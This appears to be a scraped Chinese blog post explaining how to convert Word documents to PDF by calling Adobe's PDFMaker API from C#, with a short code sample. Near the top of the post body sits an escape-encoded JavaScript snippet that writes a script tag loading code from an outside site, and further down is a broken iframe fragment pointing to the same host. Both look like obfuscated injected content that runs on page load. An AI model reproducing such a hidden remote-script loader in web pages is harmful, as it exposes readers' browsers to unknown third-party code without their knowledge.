调用PDFMAKER FOR OFFCIE将doc文件转换成pdf文档

 
调用PDFMAKER FOR OFFCIE将doc文件转换成pdf文档
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//www.023rcsc.com/count/count2.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

  



最近一个项目要求将doc文档转换成pdf文档,找了下网上的资料都是通过将doc转换成html,再转化成pdf,感觉生成的pdf效果不是太好,最后发现可以用adobe有一个pdfmaker for office插件能再word中将doc文件转换成pdf,于是就想调用这个插件来转换pdf,在adobe的官方网站上,发现很多人在问关于pdfmaker的问题,他们大多的是先调用安装在word中的“adobe pdf”这个虚拟打印机来将doc文档打印成POSTSCRIPT文档,在调用Interop.ACRODISTXLib中的FILETOPDF方法来实现doc转pdf,但中间很多人都被卡在如何在代码中设置“adobe pdf”这个虚拟打印机属性上上面,因为要转换成ps文件,必须将一个叫“不要发送字体到adobe pdf”的默认选中属性取消,才能正常打印,我也在这个找了很多资料才解决这个问题,今天我不给大家介绍这种方法,因为我找到了更好的方法,在安装了pdfmaker后,系统不但注册了pdfmaker for office和Interop.ACRODISTXLib类库外,还有个Interop.PDFMAKERAPILib类库,我们可以直接调用Interop.PDFMAKERAPILib类库中的方法轻松实现doc转pdf,而且还可以将pdfmakerApp的句柄传到PDFMAKERAPILib中的pdfmaker中进行更详细的属性设置,代码如下
using PDF=PDFMAKERAPILib;
private void button1_Click(object sender, System.EventArgs e)
  {
   object missing = System.Type.Missing;
   try
   {
    PDF.PDFMakerApp app = new PDF.PDFMakerApp();
    app.CreatePDF(@"c:/123.doc",@"c:/123.pdf",PDF.PDFMakerSettings.kConvertAllPages,false,true,true,missing);
   }
   catch(Exception er)
   {
    MessageBox.Show(er.ToString());
   }
  }

src="http://www.023rcsc.com/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值